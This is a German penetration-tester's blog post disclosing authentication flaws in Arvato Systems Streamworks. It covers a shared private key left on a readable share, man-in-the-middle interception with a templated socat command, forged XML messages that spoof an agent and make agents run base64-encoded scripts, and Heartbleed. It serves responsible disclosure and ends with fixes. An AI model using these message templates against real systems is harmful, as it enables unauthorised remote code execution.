15. Januar 2019

secuvera-SA-2016-01: Mehrere Authentisierungsschwachstellen in Arvato Systems Streamworks

…oder: Die Anfänge von „Rise of the Machines“

Im Mai des Jahres 2016 (!) durfte ich bei einem unserer Kunden eine Lösung zur Automatisierung von Prozessabläufen über Systemgrenzen hinweg im Rahmen eines Penetrationstests prüfen. Dort sind mir dann mehrere Schwachstellen (siehe Advisory) aufgefallen, mit denen ich schlussendlich in die gesteuerten Systemabläufe eingreifen und eigenen Code ausführen konnte. Das war die Initialzündung für die Forschung nach Schwachstellen in Maschine-zu-Maschine-Kommunikation im Rahmen unserer Labdays. Die Fragestellung war „was ist, wenn eine Maschine die Stimme erhebt und andere Maschinen unter seine Kontrolle bringt“ – Titel „Rise of the Machines“ (und nein, es wurde nicht zu viel Terminator 3 in der Vergangenheit gesehen 😉 )

Der Kunde hat mir dankenswerterweise erlaubt die Schwächen mittels Responsible Disclosure an den Hersteller zu melden. Aufgrund unserer Responsible Disclosure Policy und der Schwierigkeit, die gefundenen Schwächen zu beseitigen, hat es jedoch ein paar Monate Jahre gedauert, bis ich diese Schwächen veröffentlichen konnte. Daher gab es zwischenzeitlich schon andere Veröffentlichungen auf das Thema bezogen.

Stream…was?!

Die untersuchte Lösung „Streamworks“ aus dem Hause Arvato Systems besteht aus einer Steuerungskomponente mit Anwendung zur Verwaltung (nennen wir es „Mutterschiff“) und einem Sklaven Agenten, der auf einem Arbeitsknecht Server installiert wird. Zwischen den Komponenten wird TLS gesprochen und seinerzeit zur beiderseitigen Authentisierung ein vom Hersteller ausgestelltes X.509-Zertifikat zur Authentisierung verwendet. Das Zertifikat wurde vom Hersteller ausgestellt, weil es gleichzeitig die Softwarelizenz darstellte.

Schlechtes Zertifikatsmanegement als Einstieg

Ich habe die Systeme (Mutterschiff und einen Testagenten) abgetastet und auf dem Mutterschiff eine Netzwerkfreigabe mit namen „unattendedAgentInstallation“ identifiziert. Leider hat man der Sicherheitseinstellung dieses Shares keinerlei Aufmerksamkeit geschenkt, denn: diese war für alle Domänenbenutzer lesend im Zugriff. Da für ein anderes Prüfgebiet eine Domänenbenutzerkennung übergeben wurde, konnte ich auf die Freigabe zugreifen werden. Über die Netzwerkfreigabe wurden

  • das Kundenindividuelle Zertifikat des Herstellers nebst privatem Schlüssel und
  • die Installationsdateien für Agent und Server
  • Handbücher

bereitgestellt. Siehe nachfolgendes Bild:

Screenshot der Dateifreigabe

Nicht falsch verstehen, das ist kein Problem des Herstellers, sondern wohl ein Flüchtigkeitsfehler beim Kunden, der die Freigabe erstellt hat.

Es stellte sich bei genauerer Betrachtung heraus, dass der private Schlüssel nicht extra kryptografisch gesichert war. Daher und weil er auf einem lesbaren Share für viele Netzwerkteilnehmer lesbar abgelegt ist, kann dieser also (spätestens jetzt) als kompromittiert angesehen werden. Diesen Faux-Pas muss sich der Kunde selbst zugestehen.

Der BSI Grundschutz, so störrisch dieser manchmal auch sein mag, gibt da ein zwei Tipps wie man es besser gemacht hätte. Aber nun ist das Kind eben in den Brunnen gefallen.

Die Krux an der Sache: Wenn alle Agenten aufgrund der Lizensierung (entnommen aus dem Handbuch) dasselbe Schlüsselmaterial verwenden, dann:

  • Muss der Kunde jetzt beim Hersteller ein neues Zertifikat beantragen und das dann
  • auf ALLEN Agenten (~100) und dem Mutterschiff mit der Hand am Arm austauschen.

Das riecht nach Arbeit für den Kunden und den Hersteller. Und nach meiner ersten gefundenen Schwäche für beide. Doch da geht bestimmt noch mehr.

Der böse Mann in der Mitte

Mit dem Schlüsselmaterial und etwas Arpspoofing konnte ich mich also schnell als Man-in-the-Middle zwischen einem Test-Agenten und dem Mutterschiff positionieren. Die Kommunikation wurde dabei bidirektional über einen lokalen Port umgeleitet. Ohne Schlüsselmaterial rochen beide Kommunikationspartner sofort den Braten. Schlimm genug, dass Man-in-the-Middle ging. Fairerweise muss man aber sagen, dass der Hersteller wenig dafür kann, denn das ist ein Thema des Netzwerks.

Testaufbau: Man-in-the-Middle

Beim Analysieren der Kommunikation erwies sich neben „Wireshark“ auch das Werkzeug „socat“ als sehr nützlich, um einfach mal den Traffic aufzubrechen und den Inhalt mitzuschneiden. Das Werkzeug macht nichts anderes, als Streams mit einander zu verbinden. Das können auch zwei SSL/TLS-Verbindungen sein.

# Lausche auf einem Port mit OpenSSL und stelle eine OpenSSL-Verbindung zum Ziel her, wenn eine Verbindung zu diesem Port hergestellt wurde und leite alle Ausgaben in eine temporäre Datei um
socat -v OPENSSL-LISTEN:localhost:<PORTNUMMER>,cipher=HIGH,method=<SSL23|TLS1|TLS1.1|TLS1.2>,certificate=<pfadZumZert>,key=<pfadZumKey>,verify=0 OPENSSL:<zieladresse>:<zielport>,reuseaddr,fork,method=<SSL2|SSL3|TLS1|TLS1.1|TLS1.2>,cipher=HIGH,verify=0[,certificate=<pfadZumAuthZert>,key=<pfadZumAuthKey>] 2> /tmp/Trafficlog.log

Siehe da, die Kommunikation funktioniert (in beide Richtungen) weiterhin und es werden Nachrichten protokolliert.

Ich bin drin

…im Kommunikationskanal. Also mal das gesprochene Protokoll analysieren. Zum Glück wird menschenlesbares XML gesprochen, sodass die Analyse der Nachrichten vergleichsweise leicht fällt. Jobs anlegen, Credentials übergeben, Jobs ausführen, Status abfragen, Protokolle senden – eigentlich ganz einfach.

Falsche Nachricht an das Mutterschiff

Wie steht es denn um die Prozesslogik im Mutterschiff? Werden Nachrichten validiert und auf Echtheit geprüft?

Also mal folgende Nachricht vom Agent an das Mutterschiff im Auftrag eines legitimen Clients gesendet – ohne Spoofing und ohne Mann in der Mitte zu sein

(Daten in den eckigen Klammern durch valide Werte ersetzen!)

<AgentNotifyStarted ProcessId="7044" AgentVersion="3.1.36"> 
<ComHeader Version="1.0">
<MandatorCode>0100</MandatorCode>
<MsgCreateTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].745Z</MsgCreateTime>
<MsgSendTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].963Z</MsgSendTime>
<SourceEndpoint Address="0.0.0.0" Port="30000" SysId="[Hostname of legitimate Client]" />
<DestinationEndpoint Address="[FQDN of Processing server]" Port="9600" SysId="[FQDN of Processing server]" />
<Sequence>0</Sequence>
</ComHeader>
<SystemInformation>
<OsType>Windows</OsType>
<OsInfo>Pentest Windows!</OsInfo>
<OsLocale>de_DE.windows-1252</OsLocale>
</SystemInformation>
<KnownJobsList> </KnownJobsList>
<FileTransferOptions Mode="ALL" BlockSize="0" />
<Cli CliOptions="Enabled" />
</AgentNotifyStarted>

Beim Admin nachgefragt und folgenden Screenshot bekommen

Ergebnis in der Steuerung

Problem 2: Das Mutterschiff prüft nicht, ob die Nachricht wirklich vom Agenten kommt.

Let’s do some (bad) work

Also schauen wir mal, ob der Agent auch Befehle von einem anderen Agent / Fake-Mutterschiff entgegenen nimmt. Mit der folgenden Nachricht an Port 30000 des Zielsystems wird das Programm „Notepad.exe“ gestartet.

<ServerRequestStartJob>
<ComHeader Version="0.1">
<MandatorCode>0100</MandatorCode>
<MsgCreateTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].1061367Z</MsgCreateTime>
<MsgSendTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].1061367Z</MsgSendTime>
<SourceEndpoint Address="[FQDN of processing server]" Port="9600" SysId="[FQDN of processing server]" />
<DestinationEndpoint Address="[IP of Server with agent installed]" Port="30000" SysId="[Hostname of server with agent installed]" />
<Sequence>1</Sequence>
<MandatorId>0100</MandatorId>
</ComHeader>
<JobStartInfo>
<JobInfo ServerJobId="118291965_1" ExecutionNo="1" PlanDate="[YYYY]-[MM]-[DD]" StreamName="[NewStreamName]" JobName="[NewJobName]" Run="1" />
<UserName>[Username under which the agent should run the Script, e.g. LOCAL\System]</UserName>
<Password>[Add Password of the user if needed]</Password>
<UseUserProfile>true</UseUserProfile>
<MainScript>[base64-encoded Script code, e.g. "cmVtDQpDOlxXaW5kb3dzXE5vdGVwYWQuZXhl" to start a notepad.exe on a Windows Host]</MainScript>
<KeepJoblogDays>10</KeepJoblogDays>
</JobStartInfo>
</ServerRequestStartJob>

Ich hab das nicht als Lokal\System Benutzer gemacht, sondern habe einen Domänen-Jobbenutzer des Kunden verwendet. Siehe Da:

Taskmanager auf Testagenten

Es wird also nicht verifiziert, ob der Befehl wirklich vom Mutterschiff kommt –> Problem 3

Da blutet mir das Herz…

… wenn ich Dienste mit verwundbaren Komponenten im Einsatz sehe. Nicht ohne Grund ist der Einsatz von verwundbarer Software(-Komponenten) bereits seit 2013 und auch in 2017 (beidesmal als A9) in den 10 häufigsten Risiken von Webanwendungen des Open Web Application Security Project (OWASP Top 10) vertreten.

Der Pentest war in Q2/2016, die (Agenten-)Software halbwegs aktuell – also das Release des Herstellers. Was aber, wenn die (Agenten-)Software auf Drittanbieter-Komponenten mit bekannten Schwächen (die schon 2014 entdeckt wurden!) aufbaut?

Heartbleed (eine der ersten Schwächen die mit eigener Webseite und fancy Logo publik gemacht wurden). Man kann als anonymer Angreifer Daten aus dem Speicher des Servers auslesen, der OpenSSL vor Version 1.0.1g mit aktiver Heartbeat-Extension einsetzt. Die gängigen Tools haben auch sofort angeschlagen.

Also mal zur Verifikation der Meldung den Burp mit der Erweiterung Heartbleed eingesetzt. Das Ergebnis sah bei den Agenten und beim Mutterschiff in etwa so aus:

Heartbleed mit Burp Suite Pro Addon ausgenutzt

Also ist die Verwendung von Software mit bekannten Schwächen das 4. Problem des Herstellers, auf das ich stieß.

Responsible Disclosure ain’t easy

Das Thema hab ich in einem separaten Beitrag näher beleuchtet.

Bezogen auf die Probleme oben war mir auch schon klar, dass für den Hersteller es nicht einfach werden wird. So vergingen aber mitunter schon ein paar viele Monate, bis das Problem behoben, der Fix veröffentlicht und unter die Anwender gebracht wurde. Auf die Kommunikation dabei möchte ich hier nicht näher eingehen.

Fazit

Es waren viele Fehler, die letztlich dazu führten, dass die Schwächen der Lösung ans Tageslicht kamen.

Zertifikate bzw. der dazugehörige private Schlüssel sollte nie ungesichert irgendwo abgelegt werden.

Zertifikate sollten individuell je System/Komponente ausgestellt und bei Verbindungsaufbau überprüft werden.

Die Authentizität der Nachrichten muss anhand mehrerer Faktoren durch jeden Kommunikationspartner überprüft werden: passt der Inhalt zum Sender bzw. der Sender zum Inhalt?

Hersteller müssen verwendete Drittanbieterkomponenten auf aktuellem Stand halten, um deren Schwächen nicht zu den eigenen Schwächen zu machen.